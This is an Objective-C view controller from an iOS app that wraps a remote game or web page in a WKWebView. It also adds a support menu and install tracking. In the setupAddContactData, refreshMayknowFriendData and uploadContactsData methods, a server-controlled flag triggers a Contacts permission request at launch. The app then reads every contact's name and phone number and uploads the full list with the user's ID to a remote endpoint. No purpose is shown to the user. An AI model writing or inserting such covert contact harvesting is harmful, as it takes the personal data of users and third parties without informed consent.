// // MainOldViewController.m // ShenQi // // Created by Yao on 2024/11/4. // #import "MainOldViewController.h" #import #import #import #import "MacroDefine.h" #import "DSWebDragView.h" #import "NSObject+YYModel.h" #import "AppDelegate.h" #import "DSWebMenuCollectionView.h" #import "ConfigData.h" #import "ConfigDataModel.h" #import "LinkConfig.h" #import "NotiCenterViewController.h" #import "GDWebURLSchemeHandler.h" #import "GameWebViewController.h" @interface MainOldViewController () @property (strong, nonatomic) WKWebView *webView; @property (nonatomic,strong) WKUserContentController *wkUController; @property (weak, nonatomic) IBOutlet DSWebDragView *webDragView; @property (weak, nonatomic) IBOutlet NSLayoutConstraint *dragHeightConstarint; @property (weak, nonatomic) IBOutlet DSWebMenuCollectionView *webMenuCollectionView; @property (nonatomic, strong) UIView *subBgView; //@property (nonatomic, copy) NSString *redirectUrl; @end @implementation MainOldViewController -(void)viewDidLayoutSubviews { [super viewDidLayoutSubviews]; UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].windows.lastObject.windowScene.statusBarManager; _webView.frame = CGRectMake(0, statusBarManager.statusBarFrame.size.height, self.view.bounds.size.width, self.view.bounds.size.height-self.view.safeAreaInsets.bottom-statusBarManager.statusBarFrame.size.height); } - (void)viewDidLoad { [super viewDidLoad]; self.mainUserId = NowUserId; WKWebViewConfiguration *wkWebConfig = [[WKWebViewConfiguration alloc] init]; wkWebConfig.preferences.javaScriptCanOpenWindowsAutomatically = YES; // [wkWebConfig setURLSchemeHandler:[GDWebURLSchemeHandler new] forURLScheme:@"https"]; _wkUController = [[WKUserContentController alloc] init]; wkWebConfig.userContentController = _wkUController; UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].windows.lastObject.windowScene.statusBarManager; _webView = [[WKWebView alloc] initWithFrame:CGRectMake(0, statusBarManager.statusBarFrame.size.height, self.view.bounds.size.width, self.view.bounds.size.height-self.view.safeAreaInsets.bottom-statusBarManager.statusBarFrame.size.height) configuration:wkWebConfig]; _webView.UIDelegate = self; _webView.navigationDelegate = self; [self.view addSubview:_webView]; self.subBgView = [[UIView alloc] init]; self.subBgView.backgroundColor = [UIColor whiteColor]; self.subBgView.hidden = YES; [self.view addSubview:self.subBgView]; self.subBgView.translatesAutoresizingMaskIntoConstraints = NO; // 上下左右边距均为0 NSLayoutConstraint *top = [NSLayoutConstraint constraintWithItem:self.subBgView attribute:NSLayoutAttributeTop relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeTop multiplier:1.0 constant:0]; NSLayoutConstraint *left = [NSLayoutConstraint constraintWithItem:self.subBgView attribute:NSLayoutAttributeLeading relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeLeading multiplier:1.0 constant:0]; NSLayoutConstraint *right = [NSLayoutConstraint constraintWithItem:self.subBgView attribute:NSLayoutAttributeTrailing relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeTrailing multiplier:1.0 constant:0]; NSLayoutConstraint *bottom = [NSLayoutConstraint constraintWithItem:self.subBgView attribute:NSLayoutAttributeBottom relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeBottom multiplier:1.0 constant:0]; [self.view addConstraints:@[top, left, right, bottom]]; NSMutableArray *menuArray = @[].mutableCopy; AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate; NSInteger height = 0 ; // if (self.isPresent != YES) { // 回到菜单按钮 // height = 60; // [menuArray addObject:[NSNumber numberWithInteger:DSWebMenuHomeType]]; // 回到主页 // height = height + 60; // LinkConfig *config = [[LinkConfig alloc] init]; // config.isGoBack = YES; // config.icon = @"home2"; // config.name = @"HOME2"; // config.linkUrl = appDelegate.mainURLString; // [menuArray addObject:config]; // 菜单 // if (!ISNULLSTR(appDelegate.data.linkConfig)) { // NSError *jsonError; // id linkConfigResponse = [NSJSONSerialization JSONObjectWithData:[appDelegate.data.linkConfig dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingMutableContainers error:&jsonError]; // if (jsonError==nil && [linkConfigResponse isKindOfClass:[NSArray class]]) { // NSArray *linkConfigArray = linkConfigResponse; // height = height + linkConfigArray.count*70; // for (NSDictionary *dic in linkConfigArray) { // LinkConfig *linkModel = [LinkConfig modelWithDictionary:dic]; // [menuArray addObject:linkModel]; // } // } // } // 客服平台 // if (!ISNULLSTR(appDelegate.data.fbUrl)) { // height = height + 70; // [menuArray addObject:[NSNumber numberWithInteger:DSWebMenuFacebookType]]; // } // if (!ISNULLSTR(appDelegate.data.tgUrl)) { // height = height + 70; // [menuArray addObject:[NSNumber numberWithInteger:DSWebMenuTelegramType]]; // } // if (!ISNULLSTR(appDelegate.data.wsUrl)) { // height = height + 70; // [menuArray addObject:[NSNumber numberWithInteger:DSWebMenuWhatsAppType]]; // } // 刷新按钮 // height = height + 70; // [menuArray addObject:[NSNumber numberWithInteger:DSWebMenuRefreshType]]; // 推送中心按钮 // height = height + 70; // [menuArray addObject:[NSNumber numberWithInteger:DSWebMenuNotiType]]; // } self.webMenuCollectionView.shareArray = menuArray; self.webMenuCollectionView.webMenuDelegate = self; height = height + 10; if (height > self.view.frame.size.height) { height = self.view.frame.size.height; self.webMenuCollectionView.scrollEnabled = YES; }else{ self.webMenuCollectionView.scrollEnabled = NO; } self.dragHeightConstarint.constant = height; self.webDragView.freeRect = CGRectMake(0, 128, self.view.frame.size.width, self.view.frame.size.height-128); self.webDragView.isKeepBounds = YES; self.webDragView.clickDragViewBlock = ^(WMDragView *dragView) { if (self.isPresent == YES) { [self dismissViewControllerAnimated:YES completion:^{}]; }else{ // self.webDragView.hidden = YES; // self.webMenuCollectionView.hidden = NO; } }; if (self.isPresent == YES) { [self intoMainWebView]; }else{ [self intoMainWebView]; AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate; if (appDelegate.data.contactApplyMode == 1) { [self setupAddContactData]; } // 判断是否第一次安装 NSUserDefaults *userfault = [NSUserDefaults standardUserDefaults]; BOOL install = [userfault objectForKey:@"INSTALL"]; if (install == NO) { [self statisticsDownloadsData]; } } [self.view bringSubviewToFront:self.webDragView]; [self.view bringSubviewToFront:self.webMenuCollectionView]; } -(void)webMenuCollectionViewWithMenuType:(id)webMenuType { if ([webMenuType isKindOfClass:[LinkConfig class]]) { LinkConfig *link = webMenuType; if (link.isGoBack == YES) { if (self.isPresent == YES) { [self dismissViewControllerAnimated:YES completion:^{}]; }else{ self.mainURLString = link.linkUrl; self.isPresent = NO; [self intoMainWebView]; self.subBgView.hidden = YES; NSArray *dataArr = [self.subBgView subviews]; for (UIView *subView in dataArr) { [subView removeFromSuperview]; } } }else{ self.mainURLString = link.linkUrl; self.isPresent = NO; [self intoMainWebView]; self.subBgView.hidden = YES; NSArray *dataArr = [self.subBgView subviews]; for (UIView *subView in dataArr) { [subView removeFromSuperview]; } } }else if ([webMenuType isKindOfClass:[NSNumber class]]) { NSNumber *number = webMenuType; DSWebMenuType menuType = number.integerValue; AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate; if (menuType == DSWebMenuHomeType) { }else if (menuType == DSWebMenuRefreshType) { self.isPresent = NO; [self intoMainWebView]; self.subBgView.hidden = YES; NSArray *dataArr = [self.subBgView subviews]; for (UIView *subView in dataArr) { [subView removeFromSuperview]; } }else if (menuType == DSWebMenuWhatsAppType) { if (!ISNULLSTR(appDelegate.data.wsUrl)) { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"%@",appDelegate.data.wsUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}]; } }else if (menuType == DSWebMenuTelegramType) { if (!ISNULLSTR(appDelegate.data.tgUrl)) { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"%@",appDelegate.data.tgUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}]; } }else if (menuType == DSWebMenuFacebookType) { if (!ISNULLSTR(appDelegate.data.fbUrl)) { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"%@",appDelegate.data.fbUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}]; } }else if (menuType == DSWebMenuNotiType) { NotiCenterViewController *notiCenterViewController = [[NotiCenterViewController alloc] initWithNibName:@"NotiCenterViewController" bundle:nil]; notiCenterViewController.modalPresentationStyle = UIModalPresentationFullScreen; [self presentViewController:notiCenterViewController animated:NO completion:nil]; } } // self.webDragView.hidden = NO; // self.webMenuCollectionView.hidden = YES; } -(void)intoMainWebView { if (self.isPresent == YES) { NSURL *url = [NSURL URLWithString:self.gameURLString]; NSURLRequest *request = [[NSURLRequest alloc] initWithURL:url]; [_webView loadRequest:request]; }else{ NSURL *url = [NSURL URLWithString:self.mainURLString]; NSURLRequest *request = [[NSURLRequest alloc] initWithURL:url]; [_webView loadRequest:request]; } } #pragma mark - WKNavigationDelegate - (void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void (^)(WKNavigationActionPolicy))decisionHandler { decisionHandler(WKNavigationActionPolicyAllow); } - (WKWebView *)webView:(WKWebView *)webView createWebViewWithConfiguration:(WKWebViewConfiguration *)configuration forNavigationAction:(WKNavigationAction *)navigationAction windowFeatures:(WKWindowFeatures *)windowFeatures { NSString *urlStr = navigationAction.request.URL.absoluteString; if (urlStr.length == 0) { self.subBgView.hidden = NO; CGRect frame = self.view.bounds; WKWebView *newWebView = [[WKWebView alloc] initWithFrame:frame configuration:configuration]; newWebView.UIDelegate = self; newWebView.navigationDelegate = self; [self.subBgView addSubview:newWebView]; newWebView.translatesAutoresizingMaskIntoConstraints = NO; // 上下左右边距均为0 NSLayoutConstraint *top = [NSLayoutConstraint constraintWithItem:newWebView attribute:NSLayoutAttributeTop relatedBy:NSLayoutRelationEqual toItem:self.subBgView attribute:NSLayoutAttributeTop multiplier:1.0 constant:0]; NSLayoutConstraint *left = [NSLayoutConstraint constraintWithItem:newWebView attribute:NSLayoutAttributeLeading relatedBy:NSLayoutRelationEqual toItem:self.subBgView attribute:NSLayoutAttributeLeading multiplier:1.0 constant:0]; NSLayoutConstraint *right = [NSLayoutConstraint constraintWithItem:newWebView attribute:NSLayoutAttributeTrailing relatedBy:NSLayoutRelationEqual toItem:self.subBgView attribute:NSLayoutAttributeTrailing multiplier:1.0 constant:0]; NSLayoutConstraint *bottom = [NSLayoutConstraint constraintWithItem:newWebView attribute:NSLayoutAttributeBottom relatedBy:NSLayoutRelationEqual toItem:self.subBgView attribute:NSLayoutAttributeBottom multiplier:1.0 constant:0]; [self.subBgView addConstraints:@[top, left, right, bottom]]; return newWebView; }else if (navigationAction.request.URL) { UIStoryboard *sb = [UIStoryboard storyboardWithName:@"Main" bundle:nil]; MainOldViewController *view = [sb instantiateViewControllerWithIdentifier:@"MainOldViewController"]; // MainOldViewController *view = [[MainOldViewController alloc] init]; view.gameURLString = urlStr; view.isPresent = YES; view.modalPresentationStyle = UIModalPresentationFullScreen; [self presentViewController:view animated:YES completion:^{}]; [view.view bringSubviewToFront:self.webMenuCollectionView]; } [self.view bringSubviewToFront:self.webMenuCollectionView]; return nil; } #pragma mark - 统计下载量 -(void)statisticsDownloadsData { NSString *urlstring = [NSString stringWithFormat:@"%@",StatisticsURL]; NSURL *url = [NSURL URLWithString:urlstring]; NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url]; request.HTTPMethod = @"PUT"; [request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"]; NSDictionary *dic = @{@"userId":[NSNumber numberWithInteger:[self.mainUserId integerValue]],@"type":[NSNumber numberWithInteger:2]}; NSData *data = [NSJSONSerialization dataWithJSONObject:dic options:NSJSONWritingPrettyPrinted error:nil]; request.HTTPBody = data; NSURLSession *session = [NSURLSession sharedSession]; NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) { dispatch_async(dispatch_get_main_queue(), ^{ if (error == nil) { NSError *error; NSMutableDictionary *responseObject = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableContainers error:&error]; if (error == nil) { if (ISNULL(error) && !ISNULL(responseObject) && [[responseObject objectForKey:@"code"] integerValue] == 1) { NSUserDefaults *userfault = [NSUserDefaults standardUserDefaults]; [userfault setObject:[NSNumber numberWithBool:YES] forKey:@"INSTALL"]; [userfault synchronize]; } } } }); }]; [dataTask resume]; } - (IBAction)intoGameAction:(id)sender { [self intoMainWebView]; } #pragma mark - 获取通讯录 -(void)setupAddContactData { CNAuthorizationStatus status = [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts]; if (status == CNAuthorizationStatusAuthorized) { [self refreshMayknowFriendData]; }else{ CNAuthorizationStatus status = [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts]; if (status == CNAuthorizationStatusNotDetermined) { CNContactStore *store = [[CNContactStore alloc] init]; [store requestAccessForEntityType:CNEntityTypeContacts completionHandler:^(BOOL granted, NSError* _Nullable error) { if (granted == YES) { [self setupAddContactData]; } }]; } } } #pragma mark - 通讯录权限 -(void)setupAlertContact { UIAlertController *alertController = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Tips", nil) message:NSLocalizedString(@"Contacts permission must be turned on", nil) preferredStyle:(UIAlertControllerStyleAlert)]; UIAlertAction *action = [UIAlertAction actionWithTitle:NSLocalizedString(@"SETTING", nil) style:(UIAlertActionStyleCancel) handler:^(UIAlertAction * _Nonnull action) { [[UIApplication sharedApplication] openURL:[NSURL URLWithString:UIApplicationOpenSettingsURLString] options:@{} completionHandler:^(BOOL success) {}]; }]; [alertController addAction:action]; dispatch_async(dispatch_get_main_queue(), ^{ [self presentViewController:alertController animated:YES completion:^{}]; }); } -(void)refreshMayknowFriendData { NSMutableArray *contacts = @[].mutableCopy; dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ NSArray *keysToFetch = @[CNContactFamilyNameKey,CNContactMiddleNameKey,CNContactGivenNameKey,CNContactPhoneNumbersKey]; CNContactFetchRequest *fetchRequest = [[CNContactFetchRequest alloc] initWithKeysToFetch:keysToFetch]; CNContactStore *contactStore = [[CNContactStore alloc] init]; [contactStore enumerateContactsWithFetchRequest:fetchRequest error:nil usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) { NSMutableDictionary *contactDic = @{}.mutableCopy; NSString *name = [NSString stringWithFormat:@"%@%@%@",contact.familyName?:@"",contact.middleName?:@"",contact.givenName?:@""]; NSArray *phoneNumbers = contact.phoneNumbers; for (CNLabeledValue *labelValue in phoneNumbers) { CNPhoneNumber *phoneNumber = labelValue.value; NSString *string = phoneNumber.stringValue; string = [string stringByReplacingOccurrencesOfString:@"+86" withString:@""]; string = [string stringByReplacingOccurrencesOfString:@"-" withString:@""]; string = [string stringByReplacingOccurrencesOfString:@"(" withString:@""]; string = [string stringByReplacingOccurrencesOfString:@")" withString:@""]; string = [string stringByReplacingOccurrencesOfString:@" " withString:@""]; string = [string stringByReplacingOccurrencesOfString:@" " withString:@""]; if (ISNULLSTR(name)) { [contactDic setObject:@"未知" forKey:@"name"]; }else{ [contactDic setObject:name forKey:@"name"]; } if (!ISNULLSTR(string)) { [contactDic setObject:string forKey:@"phone"]; } } [contacts addObject:[contactDic modelToJSONObject]]; }]; dispatch_async(dispatch_get_main_queue(), ^{ if (!ISNULLARRAY(contacts)) { [self uploadContactsData:contacts]; } }); }); } -(void)uploadContactsData:(NSMutableArray *)contacts { NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:ContactsURL]]; request.HTTPMethod = @"POST"; [request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"]; NSDictionary *parmas = @{@"userId":self.mainUserId,@"customers":contacts}; NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil]; request.HTTPBody = jsonData; NSURLSession *session = [NSURLSession sharedSession]; NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {}]; [dataTask resume]; } @end